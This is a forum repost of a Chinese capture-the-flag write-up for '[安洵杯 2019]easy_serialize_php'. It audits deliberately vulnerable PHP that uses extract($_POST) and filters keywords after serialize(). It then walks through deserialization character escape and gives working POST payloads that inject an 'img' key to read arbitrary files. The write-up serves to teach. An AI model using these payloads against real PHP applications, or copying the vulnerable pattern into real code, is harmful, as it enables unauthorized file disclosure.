白雪新号 發表於 2020-5-1 16:57:00

[安洵杯 2019]easy_serialize_php

<h1 class="md-end-block md-heading">&nbsp;</h1>
<p class="md-end-block md-heading"><span class="md-plain md-expand">学到的知识:extract对session数组的覆盖</span></p>
<p class="md-end-block md-p"><span class="md-tab"> <span class="md-plain"> <span class="md-tab"> <span class="md-plain">反序列化逃逸的方法</span></span></span></span></p>
<h2 class="md-end-block md-heading"><span class="md-plain">1.代码审计 </span></h2>
<p class="md-end-block md-p">&nbsp;</p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php

</span><span style="color: rgba(128, 0, 128, 1)">$function</span> = @<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['f'<span style="color: rgba(0, 0, 0, 1)">];

</span><span style="color: rgba(0, 0, 255, 1)">function</span> filter(<span style="color: rgba(128, 0, 128, 1)">$img</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(128, 0, 128, 1)">$filter_arr</span> = <span style="color: rgba(0, 0, 255, 1)">array</span>('php','flag','php5','php4','fl1g'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$filter</span> = '/'.<span style="color: rgba(0, 128, 128, 1)">implode</span>('|',<span style="color: rgba(128, 0, 128, 1)">$filter_arr</span>).'/i'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>(<span style="color: rgba(128, 0, 128, 1)">$filter</span>,'',<span style="color: rgba(128, 0, 128, 1)">$img</span><span style="color: rgba(0, 0, 0, 1)">);
}


</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(128, 0, 128, 1)">$_SESSION</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">unset</span>(<span style="color: rgba(128, 0, 128, 1)">$_SESSION</span><span style="color: rgba(0, 0, 0, 1)">);
}

</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["user"] = 'guest'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>['function'] = <span style="color: rgba(128, 0, 128, 1)">$function</span><span style="color: rgba(0, 0, 0, 1)">;

</span><span style="color: rgba(0, 128, 128, 1)">extract</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span><span style="color: rgba(0, 0, 0, 1)">);

</span><span style="color: rgba(0, 0, 255, 1)">if</span>(!<span style="color: rgba(128, 0, 128, 1)">$function</span><span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;a href="index.php?f=highlight_file"&gt;source_code&lt;/a&gt;'<span style="color: rgba(0, 0, 0, 1)">;
}

</span><span style="color: rgba(0, 0, 255, 1)">if</span>(!<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img_path'<span style="color: rgba(0, 0, 0, 1)">]){
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>['img'] = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>('guest_img.png'<span style="color: rgba(0, 0, 0, 1)">);
}</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>['img'] = <span style="color: rgba(0, 128, 128, 1)">sha1</span>(<span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img_path'<span style="color: rgba(0, 0, 0, 1)">]));
}

</span><span style="color: rgba(128, 0, 128, 1)">$serialize_info</span> = filter(<span style="color: rgba(0, 128, 128, 1)">serialize</span>(<span style="color: rgba(128, 0, 128, 1)">$_SESSION</span><span style="color: rgba(0, 0, 0, 1)">));

</span><span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(128, 0, 128, 1)">$function</span> == 'highlight_file'<span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 128, 128, 1)">highlight_file</span>('index.php'<span style="color: rgba(0, 0, 0, 1)">);
}</span><span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(128, 0, 128, 1)">$function</span> == 'phpinfo'<span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(0, 0, 255, 1)">eval</span>('phpinfo();'); <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">maybe you can find something in here!</span>
}<span style="color: rgba(0, 0, 255, 1)">else</span> <span style="color: rgba(0, 0, 255, 1)">if</span>(<span style="color: rgba(128, 0, 128, 1)">$function</span> == 'show_image'<span style="color: rgba(0, 0, 0, 1)">){
</span><span style="color: rgba(128, 0, 128, 1)">$userinfo</span> = <span style="color: rgba(0, 128, 128, 1)">unserialize</span>(<span style="color: rgba(128, 0, 128, 1)">$serialize_info</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$userinfo</span>['img'<span style="color: rgba(0, 0, 0, 1)">]));
}</span></pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">首先很容易在phpinfo中找到一个php文件怀疑为flag</span></p>
<p class="md-end-block md-p"><img src="https://img2020.cnblogs.com/blog/1969988/202005/1969988-20200501165921687-393261725.png" alt=""></p>
<p class="md-end-block md-p"><span class="md-plain">这个题目里根本没有读取session文件,这个题只是把$_SESSION<span><strong>数组</strong><span class="md-plain">进行了serialize(),这种地方不要因为看到php处理器而犯迷糊。</span></span></span></p>
<p class="md-end-block md-p"><span class="md-plain">过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字</span></p>
<p class="md-end-block md-p"><span class="md-plain">我们发现unset函数将$_SESSION销毁了。</span></p>
<p class="md-end-block md-p"><span class="md-plain">然后重新赋予$_SESSION了新的值。</span></p>
<p class="md-end-block md-p"><span class="md-plain">最后调用了extract($_POST);</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-builtin">extract() <span class="cm-variable">函数从数组中将变量导入到当前的符号表。</span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">根据extract()我们可以进行变量覆盖,</span></p>
<p class="md-end-block md-p"><span class="md-plain">当我们传入SESSION=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。</span></p>
<p class="md-end-block md-p"><span class="md-plain">只剩下<span><em>SESSION=123。</em></span></span></p>
<p class="md-end-block md-p"><span class="md-plain">f参数要传为show_image,其次可控点就是img_path下的img,但是不能直接传,因为会进行一系列加密</span></p>
<h2 class="md-end-block md-heading"><span class="md-plain">2. php反序列化字符逃逸</span></h2>
<p class="md-end-block md-p"><span class="md-plain">在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化</span></p>
<p class="md-end-block md-p"><span class="md-plain">如果我们在str结尾的花括号后再增加一些字符呢?</span></p>
<p class="md-end-block md-p"><span class="md-plain">eg1:</span></p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$str</span>='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">var_dump</span>(<span style="color: rgba(0, 128, 128, 1)">unserialize</span>(<span style="color: rgba(128, 0, 128, 1)">$str</span><span style="color: rgba(0, 0, 0, 1)">));
</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(第二个例子里的abc)都会被忽略,不影响反序列化的正常进行。</span></p>
<p class="md-end-block md-p"><span class="md-plain">eg2:</span></p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["user"]='flagflagflagflagflagflag'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["img"]='L2QwZzNfZmxsbGxsbGFn'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">serialize</span>(<span style="color: rgba(128, 0, 128, 1)">$_SESSION</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?&gt;<span style="color: rgba(0, 0, 0, 1)">
   
a</span>:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}</pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为</span></p>
<div class="cnblogs_code">
<pre>a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}</pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">将这串字符串进行序列化会得到什么?<span class="md-softbreak"> <span class="md-plain"> 这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取<span><code>;s:8:"function";s:59:"a</code><span class="md-plain">,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:</span></span></span></span></span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">array</span>(3<span style="color: rgba(0, 0, 0, 1)">) {
[</span>"user"]=&gt; <span style="color: rgba(0, 0, 255, 1)">string</span>(24) "";s:8:"function";s:59:"a"<span style="color: rgba(0, 0, 0, 1)">
[</span>"img"]=&gt; <span style="color: rgba(0, 0, 255, 1)">string</span>(20) "ZDBnM19mMWFnLnBocA=="<span style="color: rgba(0, 0, 0, 1)">
[</span>"dd"]=&gt; <span style="color: rgba(0, 0, 255, 1)">string</span>(1) "a"<span style="color: rgba(0, 0, 0, 1)">
}</span></pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">数组形式:</span></p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["user"]='";s:8:"function";s:59:"a'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["img"]='ZDBnM19mMWFnLnBocA=='<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>["dd"]='a';</pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">可以发现,SESSION数组的键值img对应的值发生了改变。<span class="md-softbreak"> <span class="md-plain"> 设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:<span><code>L2QwZzNfZmxsbGxsbGFn</code><span class="md-plain">,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用<span><code>ZDBnM19mMWFnLnBocA==</code><span class="md-plain">代替了真正的base64编码,读取了<span><code>d0g3_f1ag.php</code><span class="md-plain">的内容。而识别完成后最后面的<span><code>";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}</code><span class="md-plain">被忽略掉了,不影响正常的反序列化过程。</span></span></span></span></span></span></span></span></span></span></span></p>
<h2 class="md-end-block md-heading"><span class="md-plain">3.逃逸实现</span></h2>
<p class="md-end-block md-p"><span class="md-plain">get传参:?f=show_image</span></p>
<p class="md-end-block md-p"><span class="md-plain">post调用extract函数实现变量覆盖,这里有三种post方式,均可以实现逃逸,可对比学习规律</span></p>
<p class="md-end-block md-p"><span class="md-plain">例如 post传参:</span></p>
<pre>_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}<span><br></span></pre>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">方法一</span>
    <span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密</span>
    <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">过滤掉flag有</span>
    <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}</span>
    <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来</span>
<span style="color: rgba(0, 0, 0, 1)">​
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">方法二</span>
    <span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<span style="color: rgba(0, 0, 0, 1)">;
   
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">方法三</span>
    <span style="color: rgba(128, 0, 128, 1)">$_SESSION</span>['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<span style="color: rgba(0, 0, 0, 1)">;

</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">回显得到</span></p>
<div class="cnblogs_code">
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php

</span><span style="color: rgba(128, 0, 128, 1)">$flag</span> = 'flag in /d0g3_fllllllag'<span style="color: rgba(0, 0, 0, 1)">;

</span>?&gt;</pre>
</div>
<p>&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">继续替换掉base64值读取即可 L2QwZzNfZmxsbGxsbGFn</span></p>
<p class="md-end-block md-p">&nbsp;</p>
<p class="md-end-block md-p"><span class="md-plain">参考博客:</span></p>
<p class="md-end-block md-p"><span class="md-plain"> <span class="md-link">https://www.jianshu.com/p/1f44650b0822</span></span></p>
<p class="md-end-block md-p"><span class="md-tab"> <span class="md-link">https://www.jianshu.com/p/8e8117f9fd0e</span></span></p>
<p class="md-end-block md-p"><span class="md-tab"> <span class="md-link">http://www.mamicode.com/info-detail-2984973.html</span></span></p>
<p class="md-end-block md-p"><span class="md-tab"> <span class="md-link">https://www.cnblogs.com/h3zh1/p/12732336.html</span></span></p>
<p class="md-end-block md-p">&nbsp;</p><br><br>
来源:https://www.cnblogs.com/LLeaves/p/12813992.html
頁: [1]
查看完整版本: [安洵杯 2019]easy_serialize_php